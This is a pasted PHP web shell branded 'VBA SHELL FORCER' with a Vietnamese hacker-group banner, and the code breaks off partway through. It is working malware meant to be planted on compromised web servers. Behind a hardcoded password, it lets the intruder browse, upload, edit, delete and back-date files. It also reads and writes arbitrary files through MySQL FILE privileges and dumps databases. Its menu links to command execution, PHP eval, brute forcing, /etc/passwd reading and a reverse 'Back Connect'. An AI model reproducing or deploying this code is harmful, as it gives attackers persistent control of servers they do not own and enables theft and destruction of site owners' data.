· 10 years ago · Sep 07, 2016, 08:36 AM
1<?php
2
3/****************************************\
4|* VBA SHELL FORCER - VERSION 2.1 *|
5|* Edit & Develop by VBATEAM *|
6|* http://vbateam.net *|
7|* == Hacking & Security == *|
8\****************************************/
9
10error_reporting(7);
11@set_magic_quotes_runtime(0);
12ob_start();
13$mtime = explode(' ', microtime());
14$starttime = $mtime[1] + $mtime[0];
15define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
16//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
17define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
18define('IS_COM', class_exists('COM') ? 1 : 0 );
19define('IS_GPC', get_magic_quotes_gpc());
20$dis_func = get_cfg_var('disable_functions');
21define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
22@set_time_limit(0);
23
24foreach(array('_GET','_POST') as $_request) {
25 foreach($$_request as $_key => $_value) {
26 if ($_key{0} != '_') {
27 if (IS_GPC) {
28 $_value = s_array($_value);
29 }
30 $$_key = $_value;
31 }
32 }
33}
34
35/*================= Info Login ================*/
36$admin = array();
37$admin['check'] = true;
38$admin['pass'] = 'byg'; // Password login
39$admin['cookiepre'] = '';
40$admin['cookiedomain'] = '';
41$admin['cookiepath'] = '/';
42$admin['cookielife'] = 86400;
43/*===================== End =====================*/
44
45if ($charset == 'utf8') {
46 header("content-Type: text/html; charset=utf-8");
47} elseif ($charset == 'big5') {
48 header("content-Type: text/html; charset=big5");
49} elseif ($charset == 'gbk') {
50 header("content-Type: text/html; charset=gbk");
51} elseif ($charset == 'latin1') {
52 header("content-Type: text/html; charset=iso-8859-2");
53}
54
55$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
56$timestamp = time();
57
58/*===================== Login =====================*/
59if ($action == "logout") {
60 scookie('vbapass', '', -86400 * 365);
61 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
62 p('<body background=black>');
63 exit;
64}
65if($admin['check']) {
66 if ($doing == 'login') {
67 if ($admin['pass'] == $password) {
68 scookie('vbapass', $password);
69 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
70 p('<body bgcolor=black>
71<BR><BR><div align=center><font color=yellow face=tahoma size=2>BYG - The Legend of Vietnamese Hacker World - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
72 exit;
73 }
74
75 else
76 {
77 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
78echo $err_mess;
79 }}
80 if ($_COOKIE['vbapass']) {
81 if ($_COOKIE['vbapass'] != $admin['pass']) {
82 loginpage();
83 }
84 } else {
85 loginpage();
86 }
87}
88/*===================== Login =====================*/
89
90$errmsg = '';
91
92if ($action == 'phpinfo') {
93 if (IS_PHPINFO) {
94 phpinfo();
95 } else {
96 $errmsg = 'phpinfo() function has non-permissible';
97 }
98}
99
100
101if ($doing == 'downfile' && $thefile) {
102 if (!@file_exists($thefile)) {
103 $errmsg = 'The file you want Downloadable was nonexistent';
104 } else {
105 $fileinfo = pathinfo($thefile);
106 header('Content-type: application/x-'.$fileinfo['extension']);
107 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
108 header('Content-Length: '.filesize($thefile));
109 @readfile($thefile);
110 exit;
111 }
112}
113
114
115if ($doing == 'backupmysql' && !$saveasfile) {
116 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
117 $table = array_flip($table);
118 $result = q("SHOW tables");
119 if (!$result) p('<h2>'.mysql_error().'</h2>');
120 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
121 header('Content-type: application/unknown');
122 header('Content-Disposition: attachment; filename='.$filename);
123 $mysqldata = '';
124 while ($currow = mysql_fetch_array($result)) {
125 if (isset($table[$currow[0]])) {
126 $mysqldata .= sqldumptable($currow[0]);
127 }
128 }
129 mysql_close();
130 exit;
131}
132
133// Mysql
134if($doing=='mysqldown'){
135 if (!$dbname) {
136 $errmsg = 'Please input dbname';
137 } else {
138 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
139 if (!file_exists($mysqldlfile)) {
140 $errmsg = 'The file you want Downloadable was nonexistent';
141 } else {
142 $result = q("select load_file('$mysqldlfile');");
143 if(!$result){
144 q("DROP TABLE IF EXISTS tmp_angel;");
145 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
146 //Download SQL
147 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
148 $result = q("select content from tmp_angel");
149 q("DROP TABLE tmp_angel");
150 }
151 $row = @mysql_fetch_array($result);
152 if (!$row) {
153 $errmsg = 'Load file failed '.mysql_error();
154 } else {
155 $fileinfo = pathinfo($mysqldlfile);
156 header('Content-type: application/x-'.$fileinfo['extension']);
157 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
158 header("Accept-Length: ".strlen($row[0]));
159 echo $row[0];
160 exit;
161 }
162 }
163 }
164}
165
166?>
167<html>
168<head>
169<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
170<title><?php echo str_replace('.','','BYG - The Legend of Vietnamese Hacker World');?></title>
171<style type="text/css">
172body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
173
174a {color: #74A202;text-decoration:none;}
175a:hover{color: #f00;text-decoration:underline;}
176.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
177.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
178.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
179.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
180.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
181.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
182.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
183.head td span{font-weight:normal;}
184form{margin:0;padding:0;}
185h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
186ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
187u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
188input, textarea, button
189{
190 font-size: 9pt;
191 color: #ccc;
192 font-family: verdana, sans-serif;
193 background-color: #202020;
194 border-left: 1px solid #74A202;
195 border-top: 1px solid #74A202;
196 border-right: 1px solid #74A202;
197 border-bottom: 1px solid #74A202;
198}
199select
200{
201 font-size: 8pt;
202 font-weight: normal;
203 color: #ccc;
204 font-family: verdana, sans-serif;
205 background-color: #202020;
206}
207
208</style>
209<script type="text/javascript">
210function CheckAll(form) {
211 for(var i=0;i<form.elements.length;i++) {
212 var e = form.elements[i];
213 if (e.name != 'chkall')
214 e.checked = form.chkall.checked;
215 }
216}
217function $(id) {
218 return document.getElementById(id);
219}
220function goaction(act){
221 $('goaction').action.value=act;
222 $('goaction').submit();
223}
224</script>
225</head>
226<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
227
228
229<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
230 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
231 <tr>
232 <td align="center" valign=center>
233 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
234 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
235 </div>
236 </td>
237 </tr>
238 </table>
239 </div>
240 <script>
241 var ld=(document.all);
242 var ns4=document.layers;
243 var ns6=document.getElementById&&!document.all;
244 var ie4=document.all;
245 if (ns4)
246 ld=document.loading;
247 else if (ns6)
248 ld=document.getElementById("loading").style;
249 else if (ie4)
250 ld=document.all.loading.style;
251 function init()
252 {
253 if(ns4){ld.visibility="hidden";}
254 else if (ns6||ie4) ld.display="none";
255 }
256 </script>
257
258
259
260
261<table width="100%" border="0" cellpadding="0" cellspacing="0">
262 <tr class="head_small">
263 <td width=100%>
264 <table width=100%><tr class="head_small"><td width=86px><a title="BYG - The Legend of Vietnamese Hacker World" href="<?php $self;?>"><img src=http://cB8.upanh.com/19.0.24475887.LHg0/banner.gif height=86 border=0></a></td><td>
265 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://beyeugroup.com" target="_blank"><?php echo str_replace('.','','BYG - The Legend of Vietnamese Hacker World');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
266
267 <?php
268 $curl_on = @function_exists('curl_version');
269 $mysql_on = @function_exists('mysql_connect');
270 $mssql_on = @function_exists('mssql_connect');
271 $pg_on = @function_exists('pg_connect');
272 $ora_on = @function_exists('ocilogon');
273
274echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
275echo "PHP version: <b>".@phpversion()."</b> - ";
276 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
277 echo "MySQL: <b>";
278$mysql_on = @function_exists('mysql_connect');
279if($mysql_on){
280echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
281echo "MSSQL: <b>";
282$mssql_on = @function_exists('mssql_connect');
283if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
284echo "PostgreSQL: <b>";
285$pg_on = @function_exists('pg_connect');
286if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
287echo "Oracle: <b>";
288$ora_on = @function_exists('ocilogon');
289if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
290
291echo "Disable functions : <b>";
292if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
293
294echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
295echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
296 ?>
297 </td></tr></table></td>
298 </tr>
299 <tr class="alt1">
300 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
301--------------------------------------------------------------------------------------<br />
302
303 <a href="javascript:goaction('file');">File Manager</a> |
304 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
305 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
306 <a href="javascript:goaction('shell');">Execute Command</a> |
307 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
308 <a href="javascript:goaction('eval');">Eval PHP Code</a>
309 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
310 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
311 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
312 </td>
313 </tr>
314</table>
315<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
316<?php
317
318formhead(array('name'=>'goaction'));
319makehide('action');
320formfoot();
321
322$errmsg && m($errmsg);
323
324// Dir function
325!$dir && $dir = '.';
326$nowpath = getPath(SA_ROOT, $dir);
327if (substr($dir, -1) != '/') {
328 $dir = $dir.'/';
329}
330$uedir = ue($dir);
331
332if (!$action || $action == 'file') {
333
334 // Non-writeable
335 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
336
337 // Delete dir
338 if ($doing == 'deldir' && $thefile) {
339 if (!file_exists($thefile)) {
340 m($thefile.' directory does not exist');
341 } else {
342 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
343 }
344 }
345
346 // Create new dir
347 elseif ($newdirname) {
348 $mkdirs = $nowpath.$newdirname;
349 if (file_exists($mkdirs)) {
350 m('Directory has already existed');
351 } else {
352 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
353 @chmod($mkdirs,0777);
354 }
355 }
356
357 // Upload file
358 elseif ($doupfile) {
359 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
360 }
361
362 // Edit file
363 elseif ($editfilename && $filecontent) {
364 $fp = @fopen($editfilename,'w');
365 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
366 @fclose($fp);
367 }
368
369 // Modify
370 elseif ($pfile && $newperm) {
371 if (!file_exists($pfile)) {
372 m('The original file does not exist');
373 } else {
374 $newperm = base_convert($newperm,8,10);
375 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
376 }
377 }
378
379 // Rename
380 elseif ($oldname && $newfilename) {
381 $nname = $nowpath.$newfilename;
382 if (file_exists($nname) || !file_exists($oldname)) {
383 m($nname.' has already existed or original file does not exist');
384 } else {
385 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
386 }
387 }
388
389 // Copu
390 elseif ($sname && $tofile) {
391 if (file_exists($tofile) || !file_exists($sname)) {
392 m('The goal file has already existed or original file does not exist');
393 } else {
394 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
395 }
396 }
397
398 // File exit
399 elseif ($curfile && $tarfile) {
400 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
401 m('The goal file has already existed or original file does not exist');
402 } else {
403 $time = @filemtime($tarfile);
404 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
405 }
406 }
407
408 // Date
409 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
410 if (!@file_exists($curfile)) {
411 m(basename($curfile).' does not exist');
412 } else {
413 $time = strtotime("$year-$month-$day $hour:$minute:$second");
414 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
415 }
416 }
417
418 // Download
419 elseif($doing == 'downrar') {
420 if ($dl) {
421 $dfiles='';
422 foreach ($dl as $filepath => $value) {
423 $dfiles.=$filepath.',';
424 }
425 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
426 $dl=explode(',',$dfiles);
427 $zip=new PHPZip($dl);
428 $code=$zip->out;
429 header('Content-type: application/octet-stream');
430 header('Accept-Ranges: bytes');
431 header('Accept-Length: '.strlen($code));
432 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
433 echo $code;
434 exit;
435 } else {
436 m('Please select file(s)');
437 }
438 }
439
440 // Delete file
441 elseif($doing == 'delfiles') {
442 if ($dl) {
443 $dfiles='';
444 $succ = $fail = 0;
445 foreach ($dl as $filepath => $value) {
446 if (@unlink($filepath)) {
447 $succ++;
448 } else {
449 $fail++;
450 }
451 }
452 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
453 } else {
454 m('Please select file(s)');
455 }
456 }
457
458 // Function Newdir
459 formhead(array('name'=>'createdir'));
460 makehide('newdirname');
461 makehide('dir',$nowpath);
462 formfoot();
463 formhead(array('name'=>'fileperm'));
464 makehide('newperm');
465 makehide('pfile');
466 makehide('dir',$nowpath);
467 formfoot();
468 formhead(array('name'=>'copyfile'));
469 makehide('sname');
470 makehide('tofile');
471 makehide('dir',$nowpath);
472 formfoot();
473 formhead(array('name'=>'rename'));
474 makehide('oldname');
475 makehide('newfilename');
476 makehide('dir',$nowpath);
477 formfoot();
478 formhead(array('name'=>'fileopform'));
479 makehide('action');
480 makehide('opfile');
481 makehide('dir');
482 formfoot();
483
484 $free = @disk_free_space($nowpath);
485 !$free && $free = 0;
486 $all = @disk_total_space($nowpath);
487 !$all && $all = 0;
488 $used = $all-$free;
489 $used_percent = @round(100/($all/$free),2);
490 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
491
492?>
493<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
494 <form action="" method="post" id="godir" name="godir">
495 <tr>
496 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
497 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
498 <td nowrap><input class="bt" value="GO" type="submit"></td>
499 </tr>
500 </form>
501</table>
502<script type="text/javascript">
503function createdir(){
504 var newdirname;
505 newdirname = prompt('Please input the directory name:', '');
506 if (!newdirname) return;
507 $('createdir').newdirname.value=newdirname;
508 $('createdir').submit();
509}
510function fileperm(pfile){
511 var newperm;
512 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
513 if (!newperm) return;
514 $('fileperm').newperm.value=newperm;
515 $('fileperm').pfile.value=pfile;
516 $('fileperm').submit();
517}
518function copyfile(sname){
519 var tofile;
520 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
521 if (!tofile) return;
522 $('copyfile').tofile.value=tofile;
523 $('copyfile').sname.value=sname;
524 $('copyfile').submit();
525}
526function rename(oldname){
527 var newfilename;
528 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
529 if (!newfilename) return;
530 $('rename').newfilename.value=newfilename;
531 $('rename').oldname.value=oldname;
532 $('rename').submit();
533}
534function dofile(doing,thefile,m){
535 if (m && !confirm(m)) {
536 return;
537 }
538 $('filelist').doing.value=doing;
539 if (thefile){
540 $('filelist').thefile.value=thefile;
541 }
542 $('filelist').submit();
543}
544function createfile(nowpath){
545 var filename;
546 filename = prompt('Please input the file name:', '');
547 if (!filename) return;
548 opfile('editfile',nowpath + filename,nowpath);
549}
550function opfile(action,opfile,dir){
551 $('fileopform').action.value=action;
552 $('fileopform').opfile.value=opfile;
553 $('fileopform').dir.value=dir;
554 $('fileopform').submit();
555}
556function godir(dir,view_writable){
557 if (view_writable) {
558 $('godir').view_writable.value=1;
559 }
560 $('godir').dir.value=dir;
561 $('godir').submit();
562}
563</script>
564 <?php
565 tbhead();
566 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
567 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
568 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
569 if ($view_writable) {
570 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
571 } else {
572 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
573 }
574 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
575 if (IS_WIN && IS_COM) {
576 $obj = new COM('scripting.filesystemobject');
577 if ($obj && is_object($obj)) {
578 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
579 foreach($obj->Drives as $drive) {
580 if ($drive->DriveType == 2) {
581 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
582 } else {
583 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
584 }
585 }
586 }
587 }
588
589 p('</td></tr></form>');
590
591 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
592
593 // Get path
594 $dirdata=array();
595 $filedata=array();
596
597 if ($view_writable) {
598 $dirdata = GetList($nowpath);
599 } else {
600 // Open dir
601 $dirs=@opendir($dir);
602 while ($file=@readdir($dirs)) {
603 $filepath=$nowpath.$file;
604 if(@is_dir($filepath)){
605 $dirdb['filename']=$file;
606 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
607 $dirdb['dirchmod']=getChmod($filepath);
608 $dirdb['dirperm']=getPerms($filepath);
609 $dirdb['fileowner']=getUser($filepath);
610 $dirdb['dirlink']=$nowpath;
611 $dirdb['server_link']=$filepath;
612 $dirdb['client_link']=ue($filepath);
613 $dirdata[]=$dirdb;
614 } else {
615 $filedb['filename']=$file;
616 $filedb['size']=sizecount(@filesize($filepath));
617 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
618 $filedb['filechmod']=getChmod($filepath);
619 $filedb['fileperm']=getPerms($filepath);
620 $filedb['fileowner']=getUser($filepath);
621 $filedb['dirlink']=$nowpath;
622 $filedb['server_link']=$filepath;
623 $filedb['client_link']=ue($filepath);
624 $filedata[]=$filedb;
625 }
626 }// while
627 unset($dirdb);
628 unset($filedb);
629 @closedir($dirs);
630 }
631 @sort($dirdata);
632 @sort($filedata);
633 $dir_i = '0';
634 foreach($dirdata as $key => $dirdb){
635 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
636 $thisbg = bg();
637 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
638 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
639 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
640 p('<td nowrap>'.$dirdb['mtime'].'</td>');
641 p('<td nowrap>--</td>');
642 p('<td nowrap>');
643 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
644 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
645 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
646 p('</tr>');
647 $dir_i++;
648 } else {
649 if($dirdb['filename']=='..') {
650 p('<tr class=fout>');
651 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
652 p('</tr>');
653 }
654 }
655 }
656
657 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
658 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
659 makehide('action','file');
660 makehide('thefile');
661 makehide('doing');
662 makehide('dir',$nowpath);
663 $file_i = '0';
664 foreach($filedata as $key => $filedb){
665 if($filedb['filename']!='..' && $filedb['filename']!='.') {
666 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
667 $thisbg = bg();
668 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
669 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
670 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
671 p('<td nowrap>'.$filedb['mtime'].'</td>');
672 p('<td nowrap>'.$filedb['size'].'</td>');
673 p('<td nowrap>');
674 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
675 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
676 p('<td nowrap>');
677 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
678 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
679 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
680 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
681 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
682 p('</td></tr>');
683 $file_i++;
684 }
685 }
686 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
687 p('</form></table>');
688}// end dir
689
690elseif ($action == 'sqlfile') {
691 if($doing=="mysqlupload"){
692 $file = $_FILES['uploadfile'];
693 $filename = $file['tmp_name'];
694 if (file_exists($savepath)) {
695 m('The goal file has already existed');
696 } else {
697 if(!$filename) {
698 m('Please choose a file');
699 } else {
700 $fp=@fopen($filename,'r');
701 $contents=@fread($fp, filesize($filename));
702 @fclose($fp);
703 $contents = bin2hex($contents);
704 if(!$upname) $upname = $file['name'];
705 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
706 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
707 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
708 }
709 }
710 }
711?>
712<script type="text/javascript">
713function mysqlfile(doing){
714 if(!doing) return;
715 $('doing').value=doing;
716 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
717 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
718 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
719 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
720 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
721 $('mysqlfile').charset.value=$('dbinfo').charset.value;
722 $('mysqlfile').submit();
723}
724</script>
725<?php
726 !$dbhost && $dbhost = 'localhost';
727 !$dbuser && $dbuser = 'root';
728 !$dbport && $dbport = '3306';
729 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
730 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
731 makehide('action','sqlfile');
732 p('<p>');
733 p('DBHost:');
734 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
735 p(':');
736 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
737 p('DBUser:');
738 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
739 p('DBPass:');
740 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
741 p('DBName:');
742 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
743 p('DBCharset:');
744 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
745 p('</p>');
746 formfoot();
747 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
748 p('<h2>Upload file</h2>');
749 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
750 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
751 p('<h2>Download file</h2>');
752 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
753 makehide('dbhost');
754 makehide('dbport');
755 makehide('dbuser');
756 makehide('dbpass');
757 makehide('dbname');
758 makehide('charset');
759 makehide('doing');
760 makehide('action','sqlfile');
761 p('</form>');
762}
763
764elseif ($action == 'sqladmin') {
765 !$dbhost && $dbhost = 'localhost';
766 !$dbuser && $dbuser = 'root';
767 !$dbport && $dbport = '3306';
768 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
769 if(isset($dbhost)){
770 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
771 }
772 if(isset($dbuser)) {
773 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
774 }
775 if(isset($dbpass)) {
776 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
777 }
778 if(isset($dbport)) {
779 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
780 }
